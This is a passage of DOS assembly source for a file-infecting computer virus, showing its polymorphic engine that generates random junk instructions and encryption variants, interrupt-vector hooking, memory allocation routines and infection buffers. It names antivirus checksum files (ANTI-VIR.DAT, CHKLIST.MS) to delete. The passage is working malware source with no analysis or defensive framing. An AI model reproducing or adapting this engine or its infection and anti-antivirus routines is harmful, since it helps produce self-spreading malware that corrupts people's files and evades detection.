;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
gen_garbage: push si
inc byte ptr ds:[eng_recursive]
cmp byte ptr ds:[eng_recursive],03h
jae unable_2_gen
mov ax,0003h
call rand_in_range
inc ax
mov cx,ax
loop_gen: push cx
mov ax,(offset end_generator - offset generator_table)/02h
call rand_in_range
add ax,ax
mov si,offset generator_table
add si,ax
call word ptr ds:[si]
pop cx
loop loop_gen
pop si
ret
unable_2_gen: mov byte ptr ds:[eng_recursive],00h
call gen_one_byte
pop si
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate push/garbage/pop ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
gen_xpushpop: call gen_one_push
call gen_garbage
call gen_one_pop
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate a conditional jump followed by some garbage code ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
gen_cond_jump: call get_rnd
and al,07h
or al,70h
stosb
push di
inc di
call gen_garbage
mov ax,di
pop di
push ax
sub ax,di
dec ax
stosb
pop di
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate push/pop pairs ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
gen_push_pop: call gen_one_push
call gen_one_pop
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate push instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
gen_one_push: mov ax,offset end_push - offset push_table
call rand_in_range
mov si,offset push_table
jmp short store_byte
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate pop instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
gen_one_pop: mov ax,offset end_pop - offset pop_table
call rand_in_range
mov si,offset pop_table
jmp short store_byte
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate one byte garbage ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
gen_one_byte: mov ax,offset end_one_byte - offset one_byte_table
call rand_in_range
mov si,offset one_byte_table
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Just store one byte from a table ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
store_byte: add si,ax
movsb
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Gen mov,add,sub,adc,sbb,xor,and,or reg,reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
gen_reg_reg: mov ax,offset end_two_byte - offset two_byte_table
call rand_in_range
mov si,offset two_byte_table
call store_byte
mov ax,offset end_reg_reg - offset reg_reg_table
call rand_in_range
mov si,offset reg_reg_table
jmp short store_byte
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Gen mov,add,sub,adc,sbb,xor,and,or reg,inm (01h) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
gen_inm_01h: mov ax,offset end_inm_01h - offset inm_01h_table
call rand_in_range
mov si,offset inm_01h_table
call store_byte
call get_rnd
stosb
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Gen mov,add,sub,adc,sbb,xor,and,or reg,inm (02h) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
gen_inm_02h: mov ax,(offset end_inm_02h - offset inm_02h_table)/02h
call rand_in_range
mov si,offset inm_02h_table
add ax,ax
add si,ax
movsw
call get_rnd
stosb
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Poly engine tables ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
gen_reg_table equ this byte
opcodes_si equ this byte
db 0BEh ; mov si,imm
db 84h ; add [si+nn],key
; rol [si+nn],01h
; inc [si+nn]
db 0ACh ; sub [si+nn],key
db 0B4h ; xor [si+nn],key
db 8Ch ; ror [si+nn],01h
; dec [si+nn]
db 0C6h ; add si,imm
db 0EEh ; sub si,imm
db 46h ; inc si
db 0FEh ; cmp si,imm
opcodes_di equ this byte
db 0BFh ; mov di,imm
db 85h ; add [di+nn],key
; rol [di+nn],01h
; inc [di+nn]
db 0ADh ; sub [di+nn],key
db 0B5h ; xor [di+nn],key
db 8Dh ; ror [di+nn],01h
; dec [di+nn]
db 0C7h ; add di,imm
db 0EFh ; sub di,imm
db 47h ; inc di
db 0FFh ; cmp di,imm
opcodes_bx equ this byte
db 0BBh ; mov bx,imm
db 87h ; add [bx+nn],key
; rol [bx+nn],01h
; inc [bx+nn]
db 0AFh ; sub [bx+nn],key
db 0B7h ; xor [bx+nn],key
db 8Fh ; ror [bx+nn],01h
; dec [bx+nn]
db 0C3h ; add bx,imm
db 0EBh ; sub bx,imm
db 43h ; inc bx
db 0FBh ; cmp bx,imm
opcodes_bp equ this byte
db 0BDh ; mov bp,imm
db 86h ; add [bp+nn],key
; rol [bp+nn],01h
; inc [bp+nn]
db 0AEh ; sub [bp+nn],key
db 0B6h ; xor [bp+nn],key
db 8Eh ; ror [bp+nn],01h
; dec [bp+nn]
db 0C5h ; add bp,imm
db 0EDh ; sub bp,imm
db 45h ; inc bp
db 0FDh ; cmp bp,imm
end_gen_reg equ this byte
crypt_table equ this byte
dw offset crypt_add
dw offset crypt_sub
dw offset crypt_xor
dw offset crypt_rol
dw offset crypt_ror
dw offset crypt_inc
dw offset crypt_dec
end_crypt equ this byte
inc_ptr_table equ this byte
dw offset ptr_add0002h
dw offset ptr_subFFFEh
dw offset ptr_inc_inc
dw offset ptr_inc_add
dw offset ptr_add_inc
dw offset ptr_inc_sub
dw offset ptr_sub_inc
dw offset ptr_add_add
dw offset ptr_sub_sub
dw offset ptr_add_sub
dw offset ptr_sub_add
end_inc_ptr equ this byte
opcodes_table equ this byte
dw offset opcodes_si
dw offset opcodes_di
dw offset opcodes_bx
dw offset opcodes_bp
end_opcodes equ this byte
generator_table equ this byte ; Garbage generators:
dw offset gen_one_byte ; One byte instr
dw offset gen_push_pop ; push+pop
dw offset gen_xpushpop ; push+garbage+pop
dw offset gen_reg_reg ; mov,add,sub,or...
dw offset gen_cond_jump ; cond jmp+garbage
dw offset gen_inm_01h ; Gen reg,imm
dw offset gen_inm_02h ; Gen reg,imm
end_generator equ this byte
push_table equ this byte ; Push generator
push ax
push bx
push cx
push dx
push si
push di
push bp
push sp
push cs
push ds
push es
push ss
end_push equ this byte
pop_table equ this byte ; Pop generator
pop ax
pop cx
pop dx
end_pop equ this byte
one_byte_table equ this byte ; One byte instrs
aaa
aas
cbw
clc
cld
cmc
cwd
daa
das
dec ax
dec cx
dec dx
inc ax
inc cx
inc dx
int 03h
nop
stc
std
end_one_byte equ this byte
two_byte_table equ this byte
db 8Ah ; mov reg8,reg8
db 8Bh ; mov reg16,reg16
db 02h ; add reg8,reg8
db 03h ; add reg16,reg16
db 2Ah ; sub reg8,reg8
db 2Bh ; sub reg16,reg16
db 12h ; adc reg8,reg8
db 13h ; adc reg16,reg16
db 1Ah ; sbb reg8,reg8
db 1Bh ; sbb reg16,reg16
db 32h ; xor reg8,reg8
db 33h ; xor reg16,reg16
db 22h ; and reg8,reg8
db 23h ; and reg16,reg16
db 0Ah ; or reg8,reg8
db 0Bh ; or reg16,reg16
end_two_byte equ this byte
reg_reg_table equ this byte
db 0C0h
db 0C1h
db 0C2h
db 0C3h
db 0C4h
db 0C5h
db 0C6h
db 0C7h
db 0C0h
db 0C1h
db 0C2h
db 0C3h
db 0C4h
db 0C5h
db 0C6h
db 0C7h
end_reg_reg equ this byte
inm_01h_table equ this byte
db 0B0h ; mov al,imm
db 0B4h ; mov ah,imm
db 0B2h ; mov dl,imm
db 0B6h ; mov dh,imm
db 04h ; add al,imm
db 2Ch ; sub al,imm
db 14h ; adc al,imm
db 1Ch ; sbb al,imm
db 34h ; xor al,imm
db 0Ch ; or al,01h
db 24h ; and al,imm
end_inm_01h equ this byte
inm_02h_table equ this byte
db 80h,0C4h ; add ah,1C
db 80h,0C2h ; add dl,1C
db 80h,0C6h ; add dh,1C
db 80h,0ECh ; sub ah,1C
db 80h,0EAh ; sub dl,1C
db 80h,0EEh ; sub dh,1C
db 80h,0D4h ; adc ah,1C
db 80h,0D2h ; adc dl,1C
db 80h,0D6h ; adc dh,1C
db 80h,0DCh ; sbb ah,1C
db 80h,0DAh ; sbb dl,1C
db 80h,0DEh ; sbb dh,1C
db 80h,0F4h ; xor ah,1C
db 80h,0F2h ; xor dl,1C
db 80h,0F6h ; xor dh,1C
db 80h,0CCh ; or ah,1C
db 80h,0CAh ; or dl,1C
db 80h,0CEh ; or dh,1C
db 80h,0E4h ; and ah,1C
db 80h,0E2h ; and dl,1C
db 80h,0E6h ; and dh,1C
db 83h,0E2h ; and dx,0000
db 83h,0C2h ; add dx,0000
db 83h,0CAh ; or dx,0000
db 83h,0F2h ; xor dx,0000
db 83h,0DAh ; sbb dx,0000
db 83h,0D2h ; adc dx,0000
db 83h,0EAh ; sub dx,0000
end_inm_02h equ this byte
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ File names to delete inside the int 21h level encryption ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
del_this_shit01 db "ANTI-VIR.DAT",00h
del_this_shit02 db "CHKLIST.MS",00h
dd 00000000h
end_area03h equ this byte
dd 00000000h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Memory allocation routine ³
;³ On entry: ³
;³ SI -> number of paragraphs to allocate ³
;³ On exit: ³
;³ DI -> allocated base address (0000h if error) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
mem_alloc: xor di,di ; Error flag
mov ax,5800h ; Get and save memory
int 21h ; allocation strategy
jnc mem_ok_1
ret
mem_ok_1: push ax
mov ax,5801h ; Set new allocation
mov bx,0080h ; strategy to first
int 21h ; fit high then low
mem_ok_2: mov ax,5802h ; Get and save UMB
int 21h ; link state
jc mem_error_1
xor ah,ah
push ax
mov ax,5803h ; UMB link state on
mov bx,0001h
int 21h
mov ah,48h ; Allocate memory
mov bx,si
int 21h
jc mem_error_2
mov di,ax
mem_error_2: mov ax,5803h ; Restore UMB
pop bx ; link state
int 21h
mem_error_1: mov ax,5801h ; Restore allocation
pop bx ; strategy
int 21h
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Timer-based random number generator ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
get_rnd: push cx
in ax,40h ; Get a random number
mov cl,al ; using the timer
xor al,ah ; port
xor ah,cl
xor ax,word ptr cs:[randomize]
mov word ptr cs:[randomize],ax
pop cx
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate a 16bit random number ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
rand_16: push bx
call get_rnd ; Get a 16bit random
mov bl,al ; number using our
call get_rnd ; 8bit rnd generator
mov bh,al
call get_rnd
xor bl,al
call get_rnd
xor bh,al
xchg bx,ax
pop bx
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Generate a random number between 0 and AX ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
rand_in_range: push bx ; Returns a random
push dx ; number between 0 and
xchg ax,bx ; the entry in AX
call get_rnd
xor dx,dx
div bx
xchg ax,dx ; Reminder in DX
pop dx
pop bx
ret
dd 00000000h
end_area02h equ this byte
dd 00000000h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Return the al vector in ES:BX ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
get_int: push ax
xor ah,ah
rol ax,1
rol ax,1
xchg bx,ax
xor ax,ax
mov es,ax
les bx,dword ptr es:[bx+00h]
pop ax
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Set al interrupt vector to DS:DX ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
set_int: push ax
push bx
push ds
cli
xor ah,ah
rol ax,1
rol ax,1
xchg ax,bx
push ds
xor ax,ax
mov ds,ax
mov word ptr ds:[bx+00h],dx
pop word ptr ds:[bx+02h]
sti
pop ds
pop bx
pop ax
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Save all the registers in the stack ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
push_all: cli
pop word ptr cs:[ret_push]
pushf
push ax
push bx
push cx
push dx
push bp
push si
push di
push es
push ds
push word ptr cs:[ret_push]
sti
ret
ret_push dw 0000h ; Caller address
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Restore all the registers from the stack ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
pop_all: cli
pop word ptr cs:[ret_pop]
pop ds
pop es
pop di
pop si
pop bp
pop dx
pop cx
pop bx
pop ax
popf
push word ptr cs:[ret_pop]
sti
ret
ret_pop dw 0000h ; Caller address
dd 00000000h
end_area01h equ this byte
dd 00000000h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus buffers (inserted into infections) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
old_header db 1Ch dup (00h) ; Old file header
dd 00000000h
virus_inf_end equ this byte
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³ Virus data buffer (not inserted into infections) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
dd 00000000h
use_close db 00h
use_terminate db 00h
eng_recursive db 00h
eng_loop_point dw 0000h
eng_crypt_key dw 0000h
eng_displace dw 0000h
eng_entry_point dw 0000h
eng_init_ptr dw 0000h
eng_cmp_ptr dw 0000h
eng_exit_jmp dw 0000h
randomize dw 0000h ; Seed for random numbers
file_attr dw 0000h ; Original file attribute
file_date dw 0000h ; File date
file_time dw 0000h ; ... and time
file_size dd 00000000h ; Size of file to infect
inf_header db 1Ch dup (00h) ; Infected header
exec_filename db 80h dup (00h) ; File to infect
open_filename db 80h dup (00h) ; File to infect
delete_path db 80h dup (00h) ; File to delete
dropper_name db 0Eh dup (00h) ; Dropper file name
virus_mem_end equ this byte
anti_eta ends
end entry_point